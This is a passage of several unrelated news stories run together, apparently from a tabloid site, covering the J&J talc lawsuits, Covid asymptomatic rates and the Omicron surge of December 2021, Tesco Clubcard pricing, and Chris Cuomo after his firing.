vaccinated. Many young people feel like they are safe against the virus, since they are at a much lower risk of severe complications. Health officials put mandates in place for two reasons usually. First, to help control the spread of the virus by only allowing people who are much less likely to be infected with Covid - because of the vaccine - into large events where the virus can quickly spread. Second, denying unvaccinated people of their ability to take part in some activities could spur them to get the shots. According to this study, the second factor may be working in some European countries. An attempt the Johnson & Johnson (J&J) to stop a lawsuit against the company related to allegations its talcum powder causes ovarian cancer - among other diseases - was rejected by the U.S. Supreme Court on Monday. The case dates to 2014, when Mississippi sued J&J. Mississippi argues the company violated state law by failing to warn users of dangerous and potentially lethal health risks of using its products, which Mississippi says increase the risk of ovarian cancer in women. The company argues that since the Food and Drug Administration (FDA) was aware of the risk but did not require it to revise its label, the company should be in the clear. J&J is facing thousands of lawsuits after allegations arose that some its products that use talc - a type of mineral - often are contaminated with asbestos, which can pose a danger to its users. Billions of dollars have already been awarded in damages to many women who developed cancer after using the products, which are popular for female hygiene. The Supreme Court denied a J&J bid to block a Mississippi lawsuit accusing the company of not disclosing the risks of its talc based products to consumers. J&J's baby powder (pictured) uses talc powder, which can often be contaminated with asbestos. There are allegations that such contamination caused ovarian cancer in dozens of women who used the product Talc is a mineral used to create products like J&J's baby powder. WHAT IS MESOTHELIOMA? Mesothelioma is a type of cancer that develops in the lining that covers the outer surface of some of the body's organs. It's usually linked to asbestos exposure. It mainly affects the lining of the lungs (pleural mesothelioma), although it can also affect the lining of the tummy (peritoneal mesothelioma), heart or testicles. More than 2,600 people are diagnosed with the condition each year in the UK. Most cases are diagnosed in people aged 60-80 and men are affected more commonly than women. Unfortunately it's rarely possible to cure mesothelioma, although treatment can help control the symptoms. The symptoms of mesothelioma tend to develop gradually over time. They typically don't appear until several decades after exposure to asbestos. Mesothelioma is almost always caused by exposure to asbestos, a group of minerals made of microscopic fibres that used to be widely used in construction. These tiny fibres can easily get in the lungs, where they get stuck, damaging the lungs over time. It usually takes a while for this to cause any obvious problems, with mesothelioma typically developing more than 20 years after exposure to asbestos. The use of asbestos was completely banned in 1999, so the risk of exposure is much lower nowadays. However, materials containing asbestos are still found in many older buildings. Source: NHS Choices Advertisement While it is safe on its own, it is often produced from mines that contain asbestos, and cross contamination is possible. Asbestos is a dangerous mineral and humans that are exposed to it are at a severe risk. Inhaling asbestos can cause a variety of issues for a person. Mesothelioma, a cancerous tumor that can form on the outside of a person's lungs, heart and other organs, is most commonly associated with the mineral. In October 2019, the FDA recalled the J&J powder after finding traces of asbestos in a bottle. The FDA then performed a review of J&J talc products, and detected asbestos in nine of 43 samples tested. Asbestos has been linked to ovarian cancer in some women whose genitals are exposed to the mineral. It has also been tied to lung and laryngeal cancer. J&J has denied the link between these cancers and talc, though revealed documents show the company had been aware of the risk of asbestos contaminating its talc as far back as the 1970s. Up until 2018, it was still denying any potential contamination of its products with asbestos. Costly lawsuits began to roll-in for the company as early as 2016, though. Five years ago, the family of St Louis' Jacqueline Fox was awarded $72 million from the New Brunswick, New Jersey, based company. Fox, 59, had died of ovarian cancer that her family believed was caused by her use of the baby powder. A year later, more than 50 St Louis-area women filed another lawsuit against the company after it was revealed J&J was aware of potential asbestos exposure for decades. Those women ended up being awarded $4.7 billion by a state jury, but that figure was later dropped to $2 billion after an appeal. In total, the company is facing nearly 40,000 lawsuits tied to potential dangers related to the use of their talc products. While their products have already been pulled from shelves in the U.S. and Canada, they are still available in other parts of the world. Earlier this year, the Supreme Court turned away a different talcum powder case involving a $2 billion verdict. About four in ten COVID-19 cases are asymptomatic, according to a new meta-analysis. The research performed by a team from Beijing's Peking University included 95 studies conducted on three different continents, representing almost 30 million people who were tested for Covid. Overall, about 40 percent of Covid patients in the analysis had asymptomatic cases. For some sub-groups, like pregnant women and travelers on airplanes and cruises, the figure was about 50 percent. The study shows that many people who may feel fine are still at risk of spreading the virus, and demonstrates the importance of widely available Covid testing, particularly for travelers. A new study finding that 40% of Covid cases are asymptomatic demonstrates the need for widely available testing. Pictured: Covid testing in Houston, Texas, August 2021 The study found that certain populations, such as air and cruise travelers and pregnant women, were more likely to be asymptomatic than the overall population Covid cases can range from severe symptoms that land patients in the hospital - to mild, cold-like symptoms, or no symptoms at all. Asymptomatic cases may help the coronavirus spread from person to person, because people can carry it without realizing they're sick. Such cases distinguish the novel coronavirus from past SARS viruses, which typically don't spread without symptoms. The new study on asymptomatic Covid infection suggests that they may be even more common than previously thought. Researchers compiled and analyzed data from a number of studies focused on asymptomatic cases. The analysis was published Tuesday in JAMA Network Open. It included 95 scientific studies in total, including 35 done in Europe, 32 in North America, and 25 in Asia. The researchers defined an asymptomatic case as a person who tested positive on a PCR test - considered to be the gold standard for Covid testing - while not feeling any symptoms at the time. Overall, the 95 studies included 29.8 million individuals who were tested for the virus. Among the population, 11,500 had asymptomatic Covid infections - about 0.25 percent. The researchers also used 77 out of the 95 studies to estimate the number of Covid cases that occurred without symptoms. Those studies included about 20,000 Covid cases in total, of which 40.5 percent were asymptomatic. Certain populations had higher numbers of asymptomatic Covid cases, the researchers found. Younger people are more likely to be asymptomatic, the researchers found, with 60% of Covid patients classified as asymptomatic in studies with a median age under 20 For example, among pregnant women, 54.1 percent of Covid infections were asymptomatic. Among travelers on airplanes or cruises, 52.9 percent of infections were asymptomatic. Among nursing home residents and staff, 39.7 of infections were asymptomatic. Among healthcare workers and hospital patients, the share of asymptomatic infections was lower: 30 percent. Studies in North America and Europe tended to have higher shares of asymptomatic infections - 46.3 percent and 44.2 percent, respectively - compared to 27.6 percent in Asia. 'This lower percentage in Asia might be related to the large city-wide SARS-CoV-2 nucleic acid screening program in China,' the researchers wrote. China's large-scale testing program leads to a far higher number of people getting tested than surveillance programs in other countries. In addition, the researchers found that younger Covid patients were more likely to be asymptomatic. When the mean age of a study was under 20, they found, 60 percent of patients were asymptomatic. When the mean age was between 20 and 39, 50 percent of patients were asymptomatic. Rapid testing and regular testing for certain occupations, such as airplane workers, can help identify more asymptomatic Covid cases. Pictured: People wait in line for a pop-up testing site in New York City, December 2021 While the papers included in this meta-analysis study varied greatly in their locations, populations, and sample sizes, the study's overall findings align with past research suggesting that a high number of Covid cases occur without symptoms. 'This is a highly important finding because this substantial group of people can transmit the virus to others,' physician Dr Eric Topol, who has worked on similar research but wasn't involved with the new study, told UPI. 'It is essential that we have pervasive rapid testing to determine a person's infectiousness to limit transmission for people without symptoms,' he said. In addition to demonstrating the need for more testing of people who don't have Covid symptoms, the study shows the importance of testing before travel. The study found that a high share of air and cruise travelers infected with Covid may be asymptomatic, which 'suggests that screening and quarantine on airport arrival is important for reducing community transmissions, especially in countries without local transmission,' the researchers wrote. 'To prevent further transmission in communities, asymptomatic individuals among the general population should be tested,' they said. 'If resources are limited, workers in specific industries such as air transportation should be routinely tested.' Advertisement Dr Gregory Poland (pictured), top epidemiologist at the Mayo Clinic, warns that there will be a post-holiday Covid surge in America, fueled by the Omicron variant. He also believes the variant will take over as the nation's dominant strain 'in time' Omicron will likely become the dominant Covid strain in the coming weeks, and cause a massive surge of cases shortly after Christmas, one expert has warned. Dr Gregory Poland, a top epidemiologist at the Mayo Clinic told DailyMail.com that an Omicron-fueled surge in cases could be right around the corner. 'As best any of us can model, we will have an explosion of cases after the holidays in the in the early-to-mid-January timeframe,' he said. 'This variant is hyper transmissible, it spreads exponentially in an environment of cold weather, massive holiday get togethers, no masking and insufficient immunization.' He believes it will become the dominant strain in the UK - which recorded a record 78,610 cases on Wednesday - in the coming days, and that the U.S. will follow around two weeks later. Cornell University in upstate New York is suspected to be home to the first US Omicron cluster, after 930 students were diagnosed with the virus in recent days. The college says every one of the positive tests it has sequenced so far has been the Omicron variant. A Cornell spokesman hasn't said exactly how many Omicron cases have been identified, but added that they expect most, if not all, the 930 cases to be caused by the new variant. Poland points to Cornell as an example of how quickly the variant can spread and how even the fully vaccinated are at risk from the newly discovered strain, as the campus with a vaccination rate of over 97 percent quickly racked up over 900 cases in a matter of days. 'This is hyper transmissible.,' Dr Poland said. 'People have been satisfying themselves, [saying] "that I was previously infected, or I had two doses of the vaccine [so I should be safe]", they're in for a big surprise. 'If you're not boosted, you're susceptible, whether you previously were infected or had two doses. And more importantly, you're susceptible to severe to moderate disease.' He says that while early reports from South Africa and Europe suggest that the variant may be more mild, it will still kill some people, and everyone should do what they can to prevent themselves from being the ones who die. Poland also told DailyMail.com that the variant is likely spreading so fast across the U.S., that the country's genetic sequencing infrastructure can not keep up with it.' 'We do so little sequencing that we really dont have a good idea of Omicron epidemiology at the local level,' he said. Because of the country's relatively low ability to sequence cases, he says that there are likely 100 actual cases of Omicron for every one that is confirmed in America. There are also fears that other Covid treatments, like some of the monoclonal antibody cocktails used on people already infected with the virus, may be less effective against the new strain. Early data also shows the one-shot Johnson & Johnson vaccine may not be effective against the mutant strain. Meanwhile in the UK, confirmed Omicron cases surpassed 10,000 on Wednesday, nearly doubling from the day before, as the Covid plagued islands prepares for the outbreak to worsen over time. An all-time high number of Covid cases- 78,610 - were recorded in the UK on Wednesday, with warnings the Omicron surge could repeatedly break that record in the coming weeks. Prime Minister Boris Johnson supercharged the countries booster shot rollout in an effort to protect his citizens. And his top expert, Professor Chris Whitty, has warned people not to assume that Omicron is less dangerous because of preliminary data showing it appears to cause milder symptoms. In other parts of Europe, both Denmark and Norway continue to struggle with Covid outbreaks of their own. Both countries set new Covid records this week and have sequenced over 1,000 cases of the new variant. European Union officials are sounding alarms as well, saying that the variant could be the continent's dominant strain by mid-January. The Omicron COVID-19 variant (purple) now accounts for 3% of U.S. Covid cases, up from less than one percent last week. The Delta variant (orange) is still the nation's dominant strain, accounting for 97% of new cases, per CDC data There are also fears that other Covid treatments, like some of the monoclonal antibody cocktails used on people already infected with the virus, may be less effective against the new strain. Early data also shows the one-shot Johnson & Johnson vaccine may not be effective against the mutant strain. European Union officials are sounding alarms as well, saying that the variant could be the continent's dominant strain by mid-January. Omicron cases in the United States have jumped seven-fold in a week, the CDC revealed, with data from states showing confirmed infections with the new COVID variant jumped 27 per cent in the last 24 hours, from 189 to 241. On Tuesday, the CDC said Omicron is now estimated to account for 2.9 per cent of all Covid cases, up from 0.4 per cent a week ago, meaning the true number of infections from the new strain likely numbers in the thousands. Meanwhile, CDC Director Dr Rochelle Walensky said Omicron comprises up to 13 per cent of new infections in New York and New Jersey, with the variant now confirmed to have been found in 36 states, as well as Washington DC. Experts recently warned a 'tidal wave' of Omicron is headed to the US, with the UK recording its biggest one day diagnosis total - 78,610 cases on Wednesday, 10,000 of which were the new variant, giving Americans a likely preview of what's to come. According to most recent data gathered by BNO - which scrapes data from local health departments nationwide - cases of the variant have jumped to 241, up by 52 cases from Wednesday. Overall, cases in the U.S. are continuing to grow, up 46 per cent over the past two weeks to 121,687 per day. More than 67,000 people are in the hospital with the virus every day as well, up 22 per cent over the past two weeks. Deaths are nearing the 1,300 per day mark as well, up 40 per cent. As of 11 am on Wednesday, Johns Hopkins reports that 50,251,149 Covid cases and 800,867 deaths have been recorded in the United States since the pandemic first began in March 2020. One of the largest known outbreaks of Omicron in the world so far has occurred at Cornell University, in Ithaca, New York. The school has reported 930 Covid cases in recent days, with almost all of the cases sequenced found to be of the new variant. Cornell has refused to say exactly how many of its diagnoses are Omicron, with US officials generally sequencing one in five PCR tests to determine which Covid variant a person has bee infected by. School officials also report that all of the confirmed Omicron cases so far - for which they have not yet given a confirmed number - are in students who are fully vaccinated, and some have been boosted too. The school has closed campus as a result, and finals for the fall semester will now be held virtually. Experts believe that people who are fully vaccinated have little protection against infection from the new variant, although preliminary data suggests vaccines do still prevent serious illness. Early data shows that the booster shot is required to lower the chances of infection from Omicron, with a Pfizer booster found to cut the risk of infection by about 70 per cent. According to CDC data, though, only 16.5 per cent of Americans - and less than a fourth of fully vaccinated people - have received the additional jab, meaning hundreds of millions of people have effectively no protection against the variant. Cornell University in Ithaca, New York, is the site of what is believed to be the first major COVID-19 outbreak to hit the U.S. More than 900 students and staff have tested positive for the virus over the past week, with officials reporting that almost all of the cases investigated have indicators of the Omicron variant. All of the Omicron cases are among people who are fully vaccinated, the school reports. Pictured: As of Monday, only 16 percent of Americans had received their COVID-19 booster shots, with no state having more than 30% of its population boosted J&J Covid vaccine provides minimal protection against Omicron South African study found that people who received the one-shot vaccine had undetectable antibody levels against the Omicron variant - meaning it offers practically zero protection. 'Omicron does indeed exhibit substantial immune escape from antibodies... the situation, I think, is even more alarming for the J&J vaccine -- there was no detectable neutralization in our assay,' lead researcher Penny Moore said. Pfizer offered considerably more protection, although still dramatically less than it does against prior Covid strains, the findings showed The study shows vaccines may not be able to prevent infection, but did not test the jab's ability to prevent hospitalization or death caused by Covid, meaning the vaccine may still offer some benefits. Researchers advise J&J vaccine recipients to get booster shots as quickly as possible to protect them from the new strain. Advertisement Cornell University looks to be the site of America's first major Omicron outbreak. The Ivy League school has recorded 930 positive Covid tests since December 7, per the school's Covid dashboard, including 883 cases among students. This outbreak is despite 97 per cent of on-campus students, faculty and staff being fully-vaccinated. Cornell collected many of these positive test samples, and its surveillance program detected that almost all of the samples have indicators of the Omicron variant. The new virus strain was first detected by South African officials last month, and preliminary data shows it is highly infectious and has the ability to evade protection provided by the vaccines. It is the most mutated Covid strain yet, with 50 total mutations, including 30 on the spike protein An Israeli study from earlier this week found that people who have only received the basic vaccine series - or who would typically be considered fully vaccinated - are still vulnerable to infection from the new variant. The same study found that receiving a booster shot would re-establish protection, though. A promising study came out of South Africa this week, though. The study, performed by Discovery Health - the nation's largest health insurer, finds that the variant spreads much faster that previous virus strains, and can circumvent protection provided by the Pfizer Covid vaccine - the most popular jab in the U.S. Researchers did find that effects of the strain are relatively minor, though, and are unlikely to cause hospitalization or death, though. People infected with Omicron are 20 per cent less likely to be hospitalized than they would be if they caught the Delta variant, the study found. Professor Chris Whitty, England's chief medical officer, warns that South African data may not be translatable to the UK, though, since his country was not his as hard by Delta as some others were. He said: 'I think there has been a certain amount of commentary about the fact that doctors and scientists from South Africa... have indicated that there may be some reduction in the hospitalization rates they are seeing with Omicron. I want to put a really serious caution on this because I think it has been overinterpreted. 'The amount of immunity for this wave because of prior Delta wave and vaccination is far higher than it was for their last wave and, therefore, the fact they have a lower hospitalization rate this time is unsurprising. 'That doesn't mean there is some degree of milder disease that is possible but I think there is a danger that people have overinterpreted this to say this is not a problem and there's nothing to worry about. I want to be clear, I am afraid this is going to be a problem.' This also comes as cases and deaths begin to spike in the U.S., with some states particularly in the Northeast getting hammered by a post-Thanksgiving Covid wave. Officials who looked at 78,000 Omicron cases in the past month found t he risk of hospitalization was a fifth lower than with Delta (in green) and 29 per cent lower than the original virus (dark blue). Omicron is shown in brown and the original South African 'Beta' variant in light blue. Children appeared to have a 20 per cent higher risk of hospital admission with complications during the new wave than the initial outbreak, despite the numbers still being tiny Connecticut is experiencing the worst surge, with cases nearly tripling over the past two weeks. Around 71 of every 100,000 residents of the state are testing positive for the virus every day. Nearby Maine (168 per cent increase in cases over the past two weeks), Delaware (93 per cent), Rhode Island (91 per cent), New Jersey (90 per cent) and Massachusetts (88 per cent) are also among the leaders. Alabama has also experienced a doubling in new cases over the past two weeks, signaling that this recent winter surge is starting to take hold in the south as well. A vast majority of these new cases are still of the Delta variant, though, as the strain that has dominated much of the second half of 2021 still makes up 97 per cent of sequenced cases in the U.S. Despite the recent surge, Dr Anthony Fauci, the nation's top infectious disease expert, said Wednesday during a news briefing that a Omicron specific booster was not yet necessary. 'Our booster vaccine regimens work against Omicron. At this point, there is no need for a variant-specific booster,' Fauci said. 'However, if you look at two weeks post the third dose, note the substantial degree of elevation of the neutralizing title; well within the range of neutralizing Omicron.' Despite these surges occurring nationwide, White House Deputy Press Secretary Karine Jean-Pierre said that schools will remain open for in-person learning and should have the necessary resources to keep children and staff safe. Across the pond, the UK has recorded 10,017 confirmed cases of the variant as of Wednesday morning, and the recent case surge has many fearing the worst. Cases in the nation are starting to spike as well, the the country recording 59,610 cases per day - a 30 per cent increase over the past two weeks. On Wednesday, a new record was set with 78,160 positive Covid tests logged by the nation. Deaths have actually decreased, though, with the nation averaging 150 per day - down 6.5 per cent from 180 per day being recorded two weeks ago - potentially a sign of how mild the variant can be. Death figures do often lag behind case figures, though, meaning a mortality spike could be on the way as well. In an effort to curb the recent surge in cases Prime Minister Johnson enacted strict masking and work from home measure last week. Some events and venues will also now require either proof of vaccine or a recent negative test to enter. He has also enlisted the military and a thousands-strong volunteer force to speed up the rollout of Covid boosters, and also has extended the hours of clinics nationwide to keep up with booster demand. Some fear it will not be enough, though, and that lockdowns could be around the corner in 2022 if the surge continues to worsen. Denmark has recorded the second highest total of Omicron COVID-19 cases of any nation, with 6,047 sequenced as of Wednesday morning - a 2,000 case jump from yesterday. One of the largest Omicron outbreaks in the world has been tied to a Christmas lunch event in the Viborg region, attended by 150 students on November 27 from two local high schools. Around 70 cases of the variant have been tied to the event so far. The country is following the UK in prioritizing the booster shots in an effort to limit the spread of the new variant. Starting Monday, booster shots will be available to all Danes 40 years or older, hoping to first protect the most vulnerable citizens in the rollout of the shots. Prime Minister Mette Fredericksen announced new measures to prevent spread of the virus last week, joining the UK. People who can will now be ordered to work from home, and virtual schooling has been extended as well. Bars and nightclubs will also have reduced operating hours, being forced to close at midnight now, in an effort to prevent transmission. Still health officials still fear the variant will continue to spread in the European nation, and the country's health authorities said Monday they expect Omicron to be the dominant strain in Copenhagen, the nation's capital and largest city, by the end of the week. The Nordic nation has now is now recording 6,846 new cases every day, almost double the previous record set by the country last winter. Fearing a similar outbreak happening within its own borders, Israel restricted travel from both the UK and Denmark on Monday, adding the two European nations to a list of about 50 others. It is the first country to ban travel from the UK and Denmark due to the Omicron variant. Meanwhile in the U.S., President Biden banned travel from eight African countries, some of which are not suffering major Covid outbreaks at the moment, but still allows incoming travel from the UK and Denmark. Norway suffered the first known outbreak of the Omicron variant, when a holiday party held by locally based energy company Scatec was tied to over 100 cases of Covid - with more than a dozen confirmed to be the new strain. The company traveled to Cape Town, South Africa, in mid-November, before the discovery of the new strain. At the party it is believed one person, dubbed 'patient zero', is at the center of the outbreak, with all cases being tied back to him. After the party, company employees mingled with others at the restaurant it was being held at, and it is believed that over 50 more people who were not a part of the event contracted the virus then. In the time since, cases in the nation have surged, reaching an all-time record of 4,856 per day on Wednesday. To control the virus, Prime Minister Jonas Gahr Stoere announced the country would enter a partial lockdown, banning the serving of alcohol in bars, closing gyms and swimming pools, and other mandates. A promising sign, though, is that none of the people tied to the Cape Town even suffered severe complications caused by the virus, and no deaths or hospitalizations have been tied to the event. In South Africa, the nation where the variant was first detected, has reached a new record of over 21,000 Covid cases per day this week. Nationwide, the amount of people admitted to the hospital for Covid has increased ten-fold over the last four weeks, from 562 to more than 5,900 last week. While officials in the country report that Omicron cases are relatively mild, many people in the Covid plagued nation are still suffering serious enough cases to require the additional care. Moderna's Covid booster shot can increase a person's Omicron variant-fighting antibodies 20-fold, - but still offers far less protection against the new strain than its original vaccine did against earlier variants. Data released Wednesday shows that its initial two-dose vaccine series is far less effective against Omicron that it is against other virus strains - producing 37-fold less neutralizing antibodies against the new strain than it did against the original Wuhan virus strain. Two weeks after receiving a booster shot, a person's antibody levels grow 20-fold, though their Omicron fighting antibody levels after the additional shot are still half those of a person who has only received two shots has against the original strain. Moderna's booster shot in 50 micrograms - half the dosage of the first two vaccine shots. The company says it is working on gathering data for how a 100 microgram dose would fair against the new variant. The larger dosage would need additional approval from regulators to be used in the U.S. It is promising data in the fight against the new Covid strain that has already been sequenced 241 times in 33 U.S. states and the District of Columbia. But CDC officials have warned the true scale of Omicron infection is far higher, with around three per cent of all US COVID cases now caused by the variant, or up to 13 per cent in New York and New Jersey. Moderna finds that its two-dose COVID-19 vaccine series has 37 times less antibodies effective against the Omicron strain as it has against the original virus strain. Receiving a booster shot increases antibody levels 20 fold - but still not to the same levels the original vaccine regimen had against earlier strains A flurry have studies have come out in recent weeks showing that the original COVID-19 vaccine series' are not effective at preventing infection caused by the Omicron variant, spurring health officials to urge people to get their booster doses. Pictured: A woman in Denver, Colorado, receives a shot of a COVID-19 vaccine on November 16 As of Monday, only 16 percent of Americans had received their COVID-19 booster shots, with no state having more than 30% of its population boosted 'These are encouraging initial data and we are actively working on our three-part strategy to address the Omicron variant,' the company wrote in a tweet revealing the data. 'We expect data on 100 g dose booster and on our mRNA multi-valent vaccine approaches in the coming week.' Studies from recent days find that initial vaccine series' do not do an adequate job preventing infection from the mutant strain. A South African study published Wednesday finds that the J&J vaccine - the only one-dose shot available in America - provides little protection from infection at all against Omicron. Pfizer also revealed data last week showing the company's vaccine - a joint effort with German biotechnology company BioNTech - is also ineffective at preventing infection from the new strain if a person has only received two doses. A third dose, Pfizer says, can re-establish the protection against Omicron. Dr Anthony Fauci, the nation's top infectious disease expert, has urged anyone who is eligible to get a vaccine booster, saying it provides better protection against Omicron. The Centers for Disease Control and Prevention recommends boosters for adults two months after receiving the J&J shot, and six months after the last course of Pfizer and Moderna. According to the CDC, 202 million Americans, or 61 percent of the population, are fully vaccinated. Among those who are fully vaccinated, 27 percent have received a booster shot. Omicron appears to spread even more rapidly than prior coronavirus variants, and the CDC estimates that it now accounts for 3 percent of all new cases nationwide. Disturbingly, Omicron is believed to now make up 13 percent of new cases in New York and New Jersey, where infections are climbing quickly. Officially, only 241 Omicron cases have been confirmed across 37 states through DNA sequencing, but the true number is almost certainly many times higher. The Omicron COVID-19 variant (purple) now accounts for 3% of U.S. Covid cases, up from less than one percent last week. The Delta variant (orange) is still the nation's dominant strain, accounting for 97% of new cases, per CDC data CDC modeling shows the prevalence of Omicron (purple) as a percentage of total new cases. In New York and New Jersey, 13% of new cases are of the variant On Tuesday, CDC officials held a private phone briefing with top public health experts and warned that Omicron could bring a severe wave of cases and hospitalizations to the US as soon as January, according to the Washington Post . The briefing outlined two scenarios, with the worst-case projection involving a 'triple whammy' in which Omicron surges in tandem with the Delta variant and the flu to overwhelm hospitals by next month. The second scenario involves a smaller Omicron surge in the spring. It is unclear which scenario is more likely. 'They're considering the information at the highest levels right now, and thinking through how to get the public to understand what the scenarios mean,' one federal health official familiar with the briefing told the Post. 'It looks daunting.' American officials are preparing for an Omicron wave as the variant wreaks havoc in Europe. The ultra-transmissible variant is already dominant in London and grim modelling predicting at least 200,000 people are catching it in the UK every day. The UK on Wednesday recorded the highest daily total of lab-confirmed coronavirus cases since the pandemic began. Official figures showed there had been 78,610 new cases recorded as of 9am on Wednesday, a pandemic record. British Prime Minister Boris Johnson will hold a press conference on Wednesday evening as he faces growing pressure from his own advisers to hit the panic button on new restrictions, with warnings that the country's health service is in 'serious peril'. Meanwhile Dutch primary schools will close early for the Christmas holiday as Europe battles a fresh wave of infections and hospital admissions. France on Tuesday registered 63,405 new coronavirus cases -- its highest daily total since April -- even with more than 77 percent of its population having had at least one shot. The United States is the nation hit hardest by the pandemic, and it crossed 800,000 known COVID-19 deaths on Tuesday, according to a Johns Hopkins University tracker. Omicron, first detected by South Africa and reported to the WHO on November 24, has a large number of mutations, setting alarm bells ringing since its discovery. Early data suggests it can be resistant to vaccines and is more transmissible than the Delta variant, which was first identified in India and accounts for the bulk of the world's coronavirus cases. WHO chief Tedros Adhanom Ghebreyesus told reporters the strain had been reported in 77 countries and 'probably' spread to most nations undetected 'at a rate we have not seen with any previous variant'. A promising study came out of South Africa this week, though. The study, performed by Discovery Health found that cases of the strain are relatively minor, though, and are unlikely to cause hospitalization or death, though. People infected with Omicron are 20 per cent less likely to be hospitalized than they would be if they caught the Delta variant, the study found. However, the study finds that the variant spreads much faster that previous virus strains, and can circumvent protection provided by the Pfizer vaccine - the most popular jab in the U.S. Even at low rates of hospitalization, the variant could strain the healthcare system if massive numbers of people are infected. Currently, the Northeastern US is being hammered by a post-Thanksgiving wave, even as looming Christmas gatherings threaten to increase the rate of spread. Connecticut is experiencing the worst surge, with cases nearly tripling over the past two weeks. Around 71 of every 100,000 residents of the state are testing positive for the virus every day. Nearby Maine (168 per cent increase in cases over the past two weeks), Delaware (93 per cent), Rhode Island (91 per cent), New Jersey (90 per cent) and Massachusetts (88 per cent) are also among the leaders. Alabama has also experienced a doubling in new cases over the past two weeks, signaling that this recent winter surge is starting to take hold in the south as well. A vast majority of these new cases are still of the Delta variant, though, as the strain that has dominated much of the second half of 2021 still makes up 97 per cent of sequenced cases in the U.S. That will be 42.40, says the checkout assistant as I pack my Tesco shopping into bags. Its more than Im expecting but, as everything seems more expensive these days, I dont question it. I scan my Clubcard as I go to pay and suddenly the price drops by nearly a third to a total of 29.22. Dodgy discounts: This basket of shopping costs up to 45% more at Tescos than at the other supermarkets if bought without a Clubcard When I express surprise, the assistant nods in agreement. You dont get any of the deals without the Clubcard any more. People really regret it when they dont use one, she says. As I leave with my trolley, I cant help but think this doesnt seem fair. While customers should be rewarded with benefits if they use a loyalty card and share their shopping data with retailers, they shouldnt be penalised if they choose not to, says consumer expert Martyn James. Any business with a loyalty card should give people the option of opting out of their data being collected without losing discounts, he adds. More than 20 million Britons have a Tesco Clubcard, which enables shoppers to build up points that can be converted into money-off vouchers. In return, Tesco gets the details of what you buy, how much you spend and how often you shop information vital to the retailer in helping it to understand its customer base and maximise its profits. In fact, this data is so valuable that last month Tesco announced it was now a media owner and would use the information it receives from Clubcard shoppers to sell advertising space to brands. It is doing this via a media and insight platform operated by its wholly owned subsidiary Dunnhumby, a London-based consumer data science specialist. On the firms website, a section aimed at attracting advertisers to the Tesco scheme explains that it can use Clubcard data to build an exact profile of your best customers, and what matters to them most. Furthermore, it says it can target customers from sofa to store, wherever they are and whatever their mindset. And it assures brands it will even track what shoppers buy after they see specific advertisements, so they can be sure their marketing influences our purchases. Tesco plans to sell promotional space in store; on its Scan as you Shop system; on its website and app; through marketing emails; and even on Clubcard voucher mailing letters, so shoppers can be targeted with specific offers when they receive their vouchers. But what if you dont want the supermarket to profile you and use that information to target you with advertising? I nearly left my shopping at the till after seeing extra cost Stephanie Oram's 10 meal-for-two deal would cost her 18 without a Clubcard Author Stephanie Oram almost had to walk away from a Tesco till when she discovered a 10 meal-for-two deal would actually cost 18 without a Clubcard. However, a fellow shopper in the queue overheard her dilemma at the last minute and let her borrow his card so she could get the 10 deal. Stephanie, pictured, who lives in Blackpool, Lancashire, had left her house with just a 10 note in her pocket as she knew what she wanted to buy. But after selecting ranch steaks, an orange dessert, chips and a bottle of wine, she realised she had left her Clubcard sitting on top of the microwave at home. The cashier then told her that without it she would have to pay 18 for the meal deal. As she considered what to do, a queue built up behind her until finally the other customer stepped in to offer his help. Stephanie said: The queue was building and the colour in my face was rising. I was getting ready to put everything back when a man next to me offered to let me use his card. It was a win-win I got the discount and he got the points. Stephanie, 51, added that she had not noticed the new Clubcard discounts in stores, but now realises her shopping was more expensive than she expected when she did not have her card. She said: I think the new system is a bit unfair because you are paying so much more if you do not have the card. But it is clearly to encourage loyalty. Previously at Tesco, you could simply opt not to use a Clubcard if you didnt want to share your data. The only downside would be missing out on the opportunity to collect points. But in 2019, the supermarket introduced Clubcard Prices a system where discounts are available only to Clubcard shoppers. Now this is in place nationwide and means you must have a Clubcard to access special offers. Without a Clubcard youre likely to be out of pocket, as the standard prices of many items are surprisingly high. For example, a 500g tub of Lurpak slightly salted spread costs 2.75 at Tesco with a Clubcard but 4 without. And for a 100g jar of Nescafe Azera Americano coffee, you would pay more than double at 5.49 without a Clubcard, compared to 2.74 with one. My 15 items cost 29.22 with a Clubcard; 42.40 without. And when I looked up how much the same basket of goods cost at other supermarkets, I found I could have bought them for a total of 32.07 at Asda, 34.58 at Morrisons and 35.30 at Sainsburys. That means buying the items at Tesco without a Clubcard costs around 25 per cent more than the average price charged across the other Big Four supermarkets. However, the Clubcard did give me a good deal on my shop it was about 14 per cent cheaper to buy the goods at Tesco with a card than the average cost across its competitors of 33.98. But if I had forgotten to scan my card or opted not to use one, my shopping would have cost 45 per cent more in the same supermarket. More than 20 million Britons have a Tesco Clubcard, which enables shoppers to build up points that can be converted into money-off vouchers My basket was a tiny sample of the 4,500 products Tesco includes in its deals. But compared with other major supermarkets, 60 per cent of the items I bought were either more expensive or joint most expensive when shopping without a Clubcard. Customers shouldnt have to pay a premium to keep their data private, says James Daley, of consumer group Fairer Finance. You used to be awarded benefits for sacrificing your data. Now it looks like you have to pay extra if you value your privacy. James Walker, of consumer data action website Rightly, describes the situation as daylight robbery. He says: Tesco has recognised the value of the personal information it holds on Clubcard customers. The downside for the customer is that they are subjected to bias and the overpricing of services. Tesco says customers can change their marketing preferences in their account, and that receiving targeted marketing is not a condition of benefiting from Clubcard offers or points. But when I logged into my account on the Tesco website, I could only find an option to opt out of receiving marketing offers or promotions from Tesco stores by email, text message, phone and post. There is no obvious mention of targeted marketing in store or on the website or smartphone app. Some other retailers also offer special prices to loyalty card holders. Superdrug has a rotating selection of deals only available to its Health & Beautycard holders. And in September, Sainsburys introduced a scheme called My Nectar Prices, which offers discounts on selected goods to those who have its Nectar card and use its SmartShop phone app to shop in store. But unlike Tesco, both retailers allow customers to benefit from other discounts and offers without having to use a loyalty card. A spokesman for Tesco says: We make it easy for customers to make choices about the data they share, and you can have a Clubcard and benefit from Clubcard Prices while choosing not to receive targeted marketing. We only ever use data customers have agreed to share with Tesco, which allows us to personalise our offers. So, for example, if youre looking for a bottle of red wine for Christmas and theres a great offer on the wine you usually buy, its helpful for us to let you know. moneymail@dailymail.co.uk Fired CNN host Chris Cuomo has had a friendly face to get him through his first few weeks of unemployment his old buddy, actor Gregg Bello. Bello has been visiting Cuomo at the house where the TV journalist is contemplating his future following his abrupt departure from the news network. He drove a Mercedes Benz to the house on Monday, and then visited twice on Tuesday, each time in a Porsche 911. The two are near neighbors in the Hamptons, the millionaires' playground on the east end of New York's Long Island, and go way back as friends. DailyMail.com was first to spot Cuomo after his December 4 firing. We saw him on Saturday keeping things casual in a beanie, sunglasses, 